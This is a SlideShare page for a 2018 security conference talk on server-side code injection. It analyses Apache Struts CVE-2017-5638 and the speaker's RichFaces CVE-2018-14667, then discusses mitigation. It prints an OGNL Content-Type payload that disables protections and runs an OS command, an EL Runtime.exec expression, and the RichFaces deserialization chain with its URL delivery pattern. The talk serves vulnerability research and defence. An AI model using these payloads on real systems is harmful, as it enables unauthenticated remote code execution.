SlideShare a Scribd company logo

A little bit about code injection in WebApplication Frameworks (CVE-2018-14667) - H2HC 2018

•
U
ufpb

This document provides biographical information about João Matos Figueiredo and discusses server-side code injection vulnerabilities. It begins with Matos Figueiredo's background and experience reporting vulnerabilities in major companies. It then covers the prevalence of injection flaws, examples of different types of injections, and how tainted data can flow to vulnerable sinkholes. One section analyzes the 2017 Struts vulnerability CVE-2017-5638 in detail. Another section examines a 2018 RichFaces vulnerability (CVE-2018-14667) that allowed remote code execution via deserialization or expression language injection. The document emphasizes the importance of input validation and taint tracking to prevent such vulnerabilities.

Engineering
1 of 89
Downloaded 75 times
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
Most read
69
Most read
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
Most read
86
87
88
89
Company LOGO www.company.comgithub.com/joaomatosf João Filho Matos Figueiredo joaomatosf@gmail.com @joaomatosf
Company LOGO www.company.com Whoami • Independent developer and researcher • Enjoys server-side exploitation and lateral movement • Reported some critical bugs (RCE) in companies like: – Apple.com, PayPal.com, AT&T, Samsung.com, BlackBerry, RedHat, GM, Oracle Cloud, US Department of Defense (DoD) , SonyPictures, Starbucks, Banks, Telecoms, Government, etc. • Helped some authorities in cybersecurity cases (eg. FBI) • Bachelor and Master Degree in Computer Science at Federal University of Paraíba (UFPB), Brazil. • Author of JexBoss Audit and Exploitation Tool. @joaomatosf https://github.com/joaomatosf
Company LOGO www.company.com Agenda 1. T(101) 2. #{Motivations} 3. %{#’simple.Example’} 4. ${new Richfaces0day()} 5. %23%7BAbout Mitigation%7D
Company LOGO www.company.com • Injection Flaws are “very prevalent”1 • Broad Vulnerability Category: § LDAP Injection; § Log Injection; § OS command Injection; § SQL/NoSQL Injection; § XSS; § XPath Injection; § Code Injection § . . . 1. 101 2004 2007 2010 2013 2017
Company LOGO www.company.com • Injection Flaws are “very prevalent”1 • Broad Vulnerability Category: § LDAP Injection; § Log Injection; § OS command Injection; § SQL/NoSQL Injection; § XSS; § XPath Injection; § Code Injection § . . . 1. 101 2004 2007 2010 2013 2017
Company LOGO www.company.com 1. 101 CWE-94: “Improper Control of Generation of Code” "Data Only" "Feature" “interpreter” Code Flow
Company LOGO www.company.com 1. 101 We need to put tainted data into a Sinkhole function.Sanitizers Validators Danger Flow
Company LOGO www.company.com Database Params Headers Uploads EnvVars APIs Cache Tainted data comes from untrusted sources (or just get in touch) DNS
Company LOGO www.company.com Sinkholes are sensitive methods .eval(trusted input) .getValue(trusted input) .invoke(trusted input) .sockets(trusted input) .parseExpression(trusted input) .file(trusted input) .instance_eval(trusted input) render inline: trusted input .from_string(trusted input).render()
Company LOGO www.company.com 1. 101 CWE-94: “Improper Control of Generation of Code” Code MethodExpression .invoke() "#{request.getClass().getC lassLoader().loadClass("j ava.lang.Runtime").getMet hod("getRuntime").invoke (null).exec("calc")}" Tainted Data Improper Input Validation Taint Sink Flow
Company LOGO www.company.com 1. 101 • Some specific cases: § CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection’); § CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection’) § CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') § CWE-624: Executable Regular Expression Error § CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection’).
Company LOGO www.company.com Where can we find?
Company LOGO www.company.com 2. Motivations
Company LOGO www.company.com 90’s Binary Code Injection1 (before Memory Protections) 2000... 2006 2007 2010 2010 Meder Kydyraliev (CVE-2010-1622) 2. Motivations Andrea Vettori (CVE-2007-4556) Meder Kydyraliev (CVE-2010-1870) Meder Kydyraliev (CVE-2010-1871) Many vulnerabilities RCE in Ruby on Rails (CVE-2006-4111) 2010 James Kettle talked about some cases and called them as SSTI 2015 Nike Zheng CVE-2017-5638 some milestones 1 Cowan et al., 1998
Company LOGO www.company.com 2. Motivations Source: Meder Kydyraliev, 2010
Company LOGO www.company.com 2. Motivations Source: Asankhaya Sharma, 2018
Company LOGO www.company.com 2. Motivations Management / Monitoring Virtual Machine (JVM) Code that generate code
Company LOGO www.company.com 2. Motivations Management / Monitoring Virtual Machine (JVM) Code that genera te code Examples: • Template Specifics • OGNL • SpEL • JSP EL • MVEL • JEXL • JUEL • (JSR 245, 341) • …
Company LOGO www.company.com A simple ilustrative example CVE-2017-5638 by Nike Zheng
Company LOGO www.company.com 3. Simple Example Description: The Jakarta Multipart parser in Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 has incorrect exception handling and error-message generation during file-upload attempts, which allows remote attackers to execute arbitrary commands via a crafted Content-Type, Content-Disposition, or Content- Length HTTP header, as exploited in the wild in March 2017 with a Content-Type header containing a #cmd= string. CVE-2017-5638
Company LOGO www.company.com 3. Simple Example Description: The Jakarta Multipart parser in Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 has incorrect exception handling and error- message generation during file-upload attempts, which allows remote attackers to execute arbitrary commands via a crafted Content-Type, Content- Disposition, or Content-Length HTTP header, as exploited in the wild in March 2017 with a Content-Type header containing a #cmd= string. CVE-2017-5638
Company LOGO www.company.com 3. Simple Example Description: The Jakarta Multipart parser in Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 has incorrect exception handling and error- message generation during file-upload attempts, which allows remote attackers to execute arbitrary commands via a crafted Content-Type, Content- Disposition, or Content-Length HTTP header, as exploited in the wild in March 2017 with a Content-Type header containing a #cmd= string. CVE-2017-5638Vulnerable Component Taint Sink Tainted data
Company LOGO www.company.com 3. Simple Example Description: The Jakarta Multipart parser in Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 has incorrect exception handling and error- message generation during file-upload attempts, which allows remote attackers to execute arbitrary commands via a crafted Content-Type, Content- Disposition, or Content-Length HTTP header, as exploited in the wild in March 2017 with a Content-Type header containing a #cmd= string. CVE-2017-5638Vulnerable Component Taint Sink How to get in the taint sink with controlled tainted data? Tainted data
Company LOGO www.company.com 3. Simple Example CVE-2017-5638 Sinkholes Taint Source • Runtime tainting (data-flow analysis):
Company LOGO www.company.com 3. Simple Example CVE-2017-5638 POST /page.action Content-Type: multipart/form-data “Normal” tainted data tracking
Company LOGO www.company.com 3. Simple Example CVE-2017-5638 This is fine! It’s all ok... “Normal” tainted data tracking POST /page.action Content-Type: multipart/form-data
Company LOGO www.company.com 3. Simple Example
Company LOGO www.company.com 3. Simple Example Description: The Jakarta Multipart parser in Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 has incorrect exception handling and error-message generation during file-upload attempts, which allows remote attackers to execute arbitrary commands via a crafted Content-Type, Content-Disposition, or Content-Length HTTP header, as exploited in the wild in March 2017 with a Content-Type header containing a #cmd= string. CVE-2017-5638
Company LOGO www.company.com 3. Simple Example CVE-2017-5638 POST /page.action Content-Type: multipart/form-datax00 Invalid data
Company LOGO www.company.com 3. Simple Example CVE-2017-5638 Invalid data POST /page.action Content-Type: multipart/form-datax00
Company LOGO www.company.com 3. Simple Example CVE-2017-5638 Invalid data POST /page.action Content-Type: multipart/form-datax00
Company LOGO www.company.com 3. Simple Example CVE-2017-5638 Invalid data POST /page.action Content-Type: multipart/form-datax00 JakartaMultiPartRequest.class Flow deviation by Exception Handler
Company LOGO www.company.com 3. Simple Example CVE-2017-5638 POST /page.action Content-Type: multipart/form-datax00
Company LOGO www.company.com 3. Simple Example CVE-2017-5638 POST /page.action Content-Type: multipart/form-datax00
Company LOGO www.company.com 3. Simple Example CVE-2017-5638 POST /page.action Content-Type: multipart/form-datax00 %{ (#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS). (#commandarray={'/bin/bash','-c','calc'}). (#p=new java.lang.ProcessBuilder(#commandarray)). (#process=#p.start()).multipart/form-data } Disable protections Execute OS command
Company LOGO www.company.com 3. Simple Example CVE-2017-5638 POST /page.action Content-Type: %{ognl_payload}.multipart/form-data
Company LOGO www.company.com 3. Simple Example CVE-2017-5638 POST /page.action Content-Type: %{ognl_payload}.multipart/form-data PS: Don’t forget of the Black Swan Theory This analysis had the benefit of hindsight
Company LOGO www.company.com CVE-2018-14667 Remote Code Execution in WepApps using Richfaces 3.X
Company LOGO www.company.com 4. Richfaces 0day • For years (since 2007) one of the most used frameworks for JSF components; – Primefaces started to get more attention in about ~2013. • Faced some critical vulnerabilities: • Richfaces v 3.X: – RCE via deserialization (CVE-2013-2165) – RCE via EL Injection (CVE-2018-12533) • Before assign of CVE-2018-12533, Markus Wulftange (from CodeWhite) tweeted about the his find...
Company LOGO www.company.com 4. Richfaces 0day • Next day I had find the same as Markus and others two more RCEs in the Richfaces... – Two of them were used in bugbuntys like PayPal.com, Apple.com... – A few weeks later the one of Markus was published • I responsibly notified to the RedHat on 2018-10-15 • RedHat replied very quickly and assign the CVE-2018-14667 After a friend (@reefbr) get my attention to this tweet I decided to deep look into Richfaces....
Company LOGO www.company.com 4. Richfaces 0day • Next day I had find the same as Markus and others two more RCEs in the Richfaces... – Two of them were used in bugbuntys of PayPal.com, Apple.com... – A few weeks later the one of Markus was published • I responsibly notified to the RedHat on 2018-10-15 • RedHat replied very quickly and assign the CVE-2018-14667 After a friend (@reefbr) get my attention to this tweet I decided to deep look into Richfaces.... Let’s resume...
Company LOGO www.company.com 4. Richfaces 0day • Richfaces receives serialized objects via URL but uses the following restrict whitelist (look-ahead): • Let’s suppose that this tainted data can be used in one of the two possibilities: 1. Deserialization attack 2. Code Injection attack (via EL) 1) org.ajax4jsf.resource.InternetResource 2) org.ajax4jsf.resource.SerializableResource 3) javax.el.Expression 4) javax.faces.el.MethodBinding 5) javax.faces.component.StateHolderSaver 6) java.awt.Color
Company LOGO www.company.com 4. Richfaces 0day • Let’s reduce the “problem” to: 1. Analysis of the allowed types; 2. Look for possible sinkholes sensitives to data we can control (yeah, we can decompile all the things); 3. Try to find a Flow that leads the tainted data to the identified sinkholes; "#{7*7}" Sinkhole (“tainted data”) Flow "#{7*7}"
Company LOGO www.company.com 4. Richfaces 0day 1. Analysis of the allowed types; 1) org.ajax4jsf.resource.InternetResource 2) org.ajax4jsf.resource.SerializableResource 3) javax.el.Expression 4) javax.faces.el.MethodBinding 5) javax.faces.component.StateHolderSaver 6) java.awt.Color Magic Methods: readObject()*readResolve() readExternal()* finalize()readObjectNoData() validadeObject() … “Indirect” Magic invoke()* (InvocationHandler or MethodHandler) toString() hashCode() transform() ** compare() equals()… “eval” Methods: getValue() invokeMethod() invoke()getMethodInfo() createMethodExpress ion()resolveVariable() …
Company LOGO www.company.com 4. Richfaces 0day 1) org.ajax4jsf.resource.InternetResource 2) org.ajax4jsf.resource.SerializableResource 3) javax.el.Expression 4) javax.faces.el.MethodBinding 5) javax.faces.component.StateHolderSaver 6) java.awt.Color
Company LOGO www.company.com 4. Richfaces 0day 1) org.ajax4jsf.resource.InternetResource 2) org.ajax4jsf.resource.SerializableResource 3) javax.el.Expression 4) javax.faces.el.MethodBinding 5) javax.faces.component.StateHolderSaver 6) java.awt.Color What about inheritance?
Company LOGO www.company.com 4. Richfaces 0day 1) org.ajax4jsf.resource.InternetResource TemplateCSSResource InternetResourceBase AnimationResource ProgressBarAnimatedBg JarResource ClientScript Java2Dresource BaseImage CancelControlIcon CalendarSeparator ComboBoxArrowImage + more…. StaticResource URIInternetResource UserResource QueueScript Paint2DResource + more….
Company LOGO www.company.com 4. Richfaces 0day
Company LOGO www.company.com 1) org.ajax4jsf.resource.InternetResource TemplateCSSResource InternetResourceBase AnimationResource ProgressBarAnimatedBg JarResource ClientScript Java2Dresource BaseImage CancelControlIcon CalendarSeparator ComboBoxArrowImage + more…. StaticResource URIInternetResource UserResource QueueScript Paint2DResource + more…. 4. Richfaces 0day Sinkholes
Company LOGO www.company.com 4. Richfaces 0day taintedData .sinkhole() Flow Tainted data sinkhole
Company LOGO www.company.com 4. Richfaces 0day sinkhole Analyzing the sinkhole of UserResource To be exploitable, two conditions are needed: 1) Achieve this method (send()); 2) Control of the “context” variable. But are they enough?
Company LOGO www.company.com 4. Richfaces 0day UserResource If we can control variable “context” Restore a object from a ResourceContext
Company LOGO www.company.com 4. Richfaces 0day UserResource.UriData Cast to UserResource.UriData
Company LOGO www.company.com 4. Richfaces 0day UserResource.UriData createContent field
Company LOGO www.company.com 4. Richfaces 0day UserResource.UriData Allowed type
Company LOGO www.company.com 4. Richfaces 0day UserResource.UriData createContent field StateHolderSaver
Company LOGO www.company.com 4. Richfaces 0day UserResource.UriData
Company LOGO www.company.com 4. Richfaces 0day UserResource.UriData createContent field StateHolderSaver MethodExpression #{7*7}
Company LOGO www.company.com 4. Richfaces 0day UserResource.UriData createContent field StateHolderSaver MethodExpression .invoke() #{7*7}
Company LOGO www.company.com 4. Richfaces 0day UserResource.UriData createContent field StateHolderSaver MethodExpression .invoke() #{7*7}
Company LOGO www.company.com 4. Richfaces 0day UserResource.UriData createContent field StateHolderSaver MethodExpression org.ajax4jsf.resource.UserResource$UriData createContent: javax.faces.component.StateHolderSaver savedState: org.jboss.el.MethodExpressionImpl exp: "${Expression Language}" Using a chain like this one: PS: there are other possible chains! .invoke() #{7*7}
Company LOGO www.company.com 4. Richfaces 0day UserResource.UriData createContent field StateHolderSaver MethodExpression .invoke() org.ajax4jsf.resource.UserResource$UriData createContent: javax.faces.component.StateHolderSaver savedState: org.jboss.el.MethodExpressionImpl exp: "${Expression Language}" Using a chain like this one: PS: there are other possible chains!
Company LOGO www.company.com 4. Richfaces 0day taintedData .sinkhole() Flow ? Tainted data sinkhole
Company LOGO www.company.com 4. Richfaces 0day taintedData .sinkhole() Flow ? Static AnalysisDynamic Analysis taintedData .sinkhole() Flow ?
Company LOGO www.company.com 4. Richfaces 0day
Company LOGO www.company.com 4. Richfaces 0day From static analysis we can see that resources can be triggered by URLs path = {Resource Class Name}
Company LOGO www.company.com 4. Richfaces 0day From static analysis we can see that resources can be triggered by URLs path = {Resource Class Name}/n/s
Company LOGO www.company.com 4. Richfaces 0day From static analysis we can see that resources can be triggered by URLs path = {Resource Class Name}/n/s/{mimeHashCode}
Company LOGO www.company.com 4. Richfaces 0day We can also include serialized objects in the same URL pattern... path = {Resource Class Name}/n/s/{mimeHashCode}/DATA/{encoded payload}
Company LOGO www.company.com 4. Richfaces 0day We can also include serialized objects in the same URL pattern... path = {Resource Class Name}/n/s/{mimeHashCode}/DATA/{encoded payload} UserResource Object Chain!
Company LOGO www.company.com 4. Richfaces 0day Let’s test the injection point and track the tainted data.... "{7*7}"
Company LOGO www.company.com 4. Richfaces 0day "{7*7}" 1. Mark all data from untrusted sources as tainted… 2. Mark all data that comes in contact with as tainted… 3. Check if tainted data gets in sinkholes.
Company LOGO www.company.com 4. Richfaces 0day "{7*7}"
Company LOGO www.company.com 4. Richfaces 0day "{7*7}"
Company LOGO www.company.com 4. Richfaces 0day "{7*7}" resource contains a UserResource instance!
Company LOGO www.company.com 4. Richfaces 0day
Company LOGO www.company.com 4. Richfaces 0day Deserialization of our chain!
Company LOGO www.company.com 4. Richfaces 0day Our chain is put inside a ResourceContext
Company LOGO www.company.com 4. Richfaces 0day
Company LOGO www.company.com 4. Richfaces 0day UserResource.send(“ResourceContext”)
Company LOGO www.company.com 4. Richfaces 0day UserResource.send(“ResourceContext”)
Company LOGO www.company.com 4. Richfaces 0day CVE-2018-14667 Unauthenticated Remote Code Execution in Web Applications using Richfaces Framework 3.X https://access.redhat.com/security/cve/cve-2018-14667 link
Company LOGO www.company.com 5. About Mitigation
Company LOGO www.company.com 5. About Mitigation Sanitize data from untrusted sources, right?
Company LOGO www.company.com 5. Mitigation Advices It is good and needed, but not enough.
Company LOGO www.company.com 5. Mitigation Advices • It is not so simple… • Taint propagation is a complex issue “every application that copies untrusted input verbatim into an output program is vulnerable to code injection attacks. Proved by Ray & Ligatti (2012) based on formal language theory.” • Scape may depend on semantics/context: – HTML, JavaScript, URLencoded, JSON, XML, Binary Objects, Unicode Strings, Exception Messages… • Who writes filters does not always think like who writes exploits
Company LOGO www.company.com 5. Mitigation Advices What about Compiler and hardware based protections? We can remove this from the Web developers' hands… … And leave it with the compiler and architecture guys ... Like what was done with stack-smashing… =]
Company LOGO www.company.com 5. Mitigation Advices • Until then... • Look for bugs in your frameworks/libs/platforms… – Not only for your custom code • Make the appropriate hardening of every layer! – Eg. grsec, selinux, lib’s update… • And remember: Black Swan events are more common than we think… “Finding bugs brings more $$$ then solving classes of problem” (Meder, 2012)
Company LOGO www.company.comgithub.com/joaomatosf João Filho Matos Figueiredo joaomatosf@gmail.com @joaomatosf Thank you! “Truth is ever to be found in simplicity, and not in the multiplicity and confusion of things.” (Isaac Newton)

More Related Content

PPTX
Waf bypassing Techniques
Avinash Thapa
 
PDF
Hunting for Credentials Dumping in Windows Environment
Teymur Kheirkhabarov
 
PDF
Offzone | Another waf bypass
Дмитрий Бумов
 
PPT
Source Code Analysis with SAST
Blueinfy Solutions
 
PDF
HTTP Request Smuggling via higher HTTP versions
neexemil
 
PDF
Red Team Tactics for Cracking the GSuite Perimeter
Mike Felch
 
PPTX
SQL injection prevention techniques
SongchaiDuangpan
 
PPTX
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
Soroush Dalili
 
Waf bypassing Techniques
Avinash Thapa
 
Hunting for Credentials Dumping in Windows Environment
Teymur Kheirkhabarov
 
Offzone | Another waf bypass
Дмитрий Бумов
 
Source Code Analysis with SAST
Blueinfy Solutions
 
HTTP Request Smuggling via higher HTTP versions
neexemil
 
Red Team Tactics for Cracking the GSuite Perimeter
Mike Felch
 
SQL injection prevention techniques
SongchaiDuangpan
 
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
Soroush Dalili
 

What's hot (20)

PDF
Neat tricks to bypass CSRF-protection
Mikhail Egorov
 
PPTX
Secure coding practices
Mohammed Danish Amber
 
PPTX
Directory Traversal & File Inclusion Attacks
Raghav Bisht
 
PPTX
Windows Privilege Escalation
Riyaz Walikar
 
PDF
Hash DoS Attack
Miroslav Stampar
 
PPTX
SSRF For Bug Bounties
OWASP Nagpur
 
PPTX
Vulnerabilities in modern web applications
Niyas Nazar
 
PDF
XSS Magic tricks
GarethHeyes
 
PDF
Super Easy Memory Forensics
IIJ
 
PPT
OWASP Top Ten
Christian Heinrich
 
PDF
20명 규모의 팀에서 Vault 사용하기
Doyoon Kim
 
PDF
A Threat Hunter Himself
Sergey Soldatov
 
PDF
Welcome to the Jungle: Pentesting AWS
Mike Felch
 
PDF
OWASP Top 10 Web Application Vulnerabilities
Software Guru
 
PDF
Hunting Lateral Movement in Windows Infrastructure
Sergey Soldatov
 
PDF
Thick Application Penetration Testing: Crash Course
Scott Sutherland
 
PPTX
Attacking thru HTTP Host header
Sergey Belov
 
PPT
iOS Application Penetration Testing for Beginners
RyanISI
 
PPTX
vulnerable and outdated components.pptx
waleejhaider1
 
PDF
Bash production guide
Adrien Mahieux
 
Neat tricks to bypass CSRF-protection
Mikhail Egorov
 
Secure coding practices
Mohammed Danish Amber
 
Directory Traversal & File Inclusion Attacks
Raghav Bisht
 
Windows Privilege Escalation
Riyaz Walikar
 
Hash DoS Attack
Miroslav Stampar
 
SSRF For Bug Bounties
OWASP Nagpur
 
Vulnerabilities in modern web applications
Niyas Nazar
 
XSS Magic tricks
GarethHeyes
 
Super Easy Memory Forensics
IIJ
 
OWASP Top Ten
Christian Heinrich
 
20명 규모의 팀에서 Vault 사용하기
Doyoon Kim
 
A Threat Hunter Himself
Sergey Soldatov
 
Welcome to the Jungle: Pentesting AWS
Mike Felch
 
OWASP Top 10 Web Application Vulnerabilities
Software Guru
 
Hunting Lateral Movement in Windows Infrastructure
Sergey Soldatov
 
Thick Application Penetration Testing: Crash Course
Scott Sutherland
 
Attacking thru HTTP Host header
Sergey Belov
 
iOS Application Penetration Testing for Beginners
RyanISI
 
vulnerable and outdated components.pptx
waleejhaider1
 
Bash production guide
Adrien Mahieux
 
Ad

Similar to A little bit about code injection in WebApplication Frameworks (CVE-2018-14667) - H2HC 2018 (20)

PPTX
Web Application Security - Folio3
Folio3 Software
 
PDF
Penetration testing web application web application (in) security
Nahidul Kibria
 
PPTX
OWASP_Top_Ten_Proactive_Controls_v2.pptx
FernandoVizer
 
PPTX
Top Ten Java Defense for Web Applications v2
Jim Manico
 
PDF
A security note for web developers
John Ombagi
 
PDF
OWASP Portland - OWASP Top 10 For JavaScript Developers
Lewis Ardern
 
PDF
Whatever it takes - Fixing SQLIA and XSS in the process
guest3379bd
 
PPTX
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
CODE BLUE
 
PPT
Top Ten Web Hacking Techniques – 2008
Jeremiah Grossman
 
PPS
Hacking Client Side Insecurities
amiable_indian
 
PDF
Layer one 2011-joe-mccray-you-spent-all-that-money-and-still-got-0wned
fangjiafu
 
PPT
GNUCITIZEN Dwk Owasp Day September 2007
guest20ab09
 
PDF
Secure coding presentation Oct 3 2020
Moataz Kamel
 
PDF
Meetup DotNetCode Owasp
dotnetcode
 
PPTX
Finding Zero-Days Before The Attackers: A Fortune 500 Red Team Case Study
DevOps.com
 
PPT
PHPUG Presentation
Damon Cortesi
 
PPTX
You Spent All That Money And Still Got Owned
Joe McCray
 
PPT
The Magic Of Application Lifecycle Management In Vs Public
David Solivan
 
PDF
What You Need to Know About Web App Security Testing in 2018
Ken DeSouza
 
PPTX
DevSecOps - automating security
John Staveley
 
Web Application Security - Folio3
Folio3 Software
 
Penetration testing web application web application (in) security
Nahidul Kibria
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
FernandoVizer
 
Top Ten Java Defense for Web Applications v2
Jim Manico
 
A security note for web developers
John Ombagi
 
OWASP Portland - OWASP Top 10 For JavaScript Developers
Lewis Ardern
 
Whatever it takes - Fixing SQLIA and XSS in the process
guest3379bd
 
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
CODE BLUE
 
Top Ten Web Hacking Techniques – 2008
Jeremiah Grossman
 
Hacking Client Side Insecurities
amiable_indian
 
Layer one 2011-joe-mccray-you-spent-all-that-money-and-still-got-0wned
fangjiafu
 
GNUCITIZEN Dwk Owasp Day September 2007
guest20ab09
 
Secure coding presentation Oct 3 2020
Moataz Kamel
 
Meetup DotNetCode Owasp
dotnetcode
 
Finding Zero-Days Before The Attackers: A Fortune 500 Red Team Case Study
DevOps.com
 
PHPUG Presentation
Damon Cortesi
 
You Spent All That Money And Still Got Owned
Joe McCray
 
The Magic Of Application Lifecycle Management In Vs Public
David Solivan
 
What You Need to Know About Web App Security Testing in 2018
Ken DeSouza
 
DevSecOps - automating security
John Staveley
 
Ad

Recently uploaded (20)

PDF
FLEX-LNG-Company-Presentation-Nov-2017.pdf
jbloggzs
 
PDF
2010_Book_EnvironmentalBioengineering (1).pdf
EmilianoRodriguezTll
 
PDF
67243-Cooling and Heating & Calculation.pdf
DHAKA POLYTECHNIC
 
PDF
dse_final_merit_2025_26 gtgfffffcjjjuuyy
rushabhjain127
 
PDF
The Effect of Artifact Removal from EEG Signals on the Detection of Epileptic...
Partho Prosad
 
PDF
67243-Cooling and Heating & Calculation.pdf
DHAKA POLYTECHNIC
 
PDF
Unit I Part II.pdf : Security Fundamentals
Dr. Madhuri Jawale
 
PPTX
22PCOAM21 Session 1 Data Management.pptx
Guru Nanak Technical Institutions
 
PPTX
Civil Engineering Practices_BY Sh.JP Mishra 23.09.pptx
bineetmishra1990
 
PPTX
Inventory management chapter in automation and robotics.
atisht0104
 
PDF
Introduction to Data Science: data science process
ShivarkarSandip
 
PPTX
Victory Precisions_Supplier Profile.pptx
victoryprecisions199
 
PDF
Zero Carbon Building Performance standard
BassemOsman1
 
PPT
SCOPE_~1- technology of green house and poyhouse
bala464780
 
PDF
Cryptography and Information :Security Fundamentals
Dr. Madhuri Jawale
 
PDF
EVS+PRESENTATIONS EVS+PRESENTATIONS like
saiyedaqib429
 
PDF
Packaging Tips for Stainless Steel Tubes and Pipes
heavymetalsandtubes
 
PDF
July 2025: Top 10 Read Articles Advanced Information Technology
ijait
 
PDF
2025 Laurence Sigler - Advancing Decision Support. Content Management Ecommer...
Francisco Javier Mora Serrano
 
PDF
LEAP-1B presedntation xxxxxxxxxxxxxxxxxxxxxxxxxxxxx
hatem173148
 
FLEX-LNG-Company-Presentation-Nov-2017.pdf
jbloggzs
 
2010_Book_EnvironmentalBioengineering (1).pdf
EmilianoRodriguezTll
 
67243-Cooling and Heating & Calculation.pdf
DHAKA POLYTECHNIC
 
dse_final_merit_2025_26 gtgfffffcjjjuuyy
rushabhjain127
 
The Effect of Artifact Removal from EEG Signals on the Detection of Epileptic...
Partho Prosad
 
67243-Cooling and Heating & Calculation.pdf
DHAKA POLYTECHNIC
 
Unit I Part II.pdf : Security Fundamentals
Dr. Madhuri Jawale
 
22PCOAM21 Session 1 Data Management.pptx
Guru Nanak Technical Institutions
 
Civil Engineering Practices_BY Sh.JP Mishra 23.09.pptx
bineetmishra1990
 
Inventory management chapter in automation and robotics.
atisht0104
 
Introduction to Data Science: data science process
ShivarkarSandip
 
Victory Precisions_Supplier Profile.pptx
victoryprecisions199
 
Zero Carbon Building Performance standard
BassemOsman1
 
SCOPE_~1- technology of green house and poyhouse
bala464780
 
Cryptography and Information :Security Fundamentals
Dr. Madhuri Jawale
 
EVS+PRESENTATIONS EVS+PRESENTATIONS like
saiyedaqib429
 
Packaging Tips for Stainless Steel Tubes and Pipes
heavymetalsandtubes
 
July 2025: Top 10 Read Articles Advanced Information Technology
ijait
 
2025 Laurence Sigler - Advancing Decision Support. Content Management Ecommer...
Francisco Javier Mora Serrano
 
LEAP-1B presedntation xxxxxxxxxxxxxxxxxxxxxxxxxxxxx
hatem173148
 

A little bit about code injection in WebApplication Frameworks (CVE-2018-14667) - H2HC 2018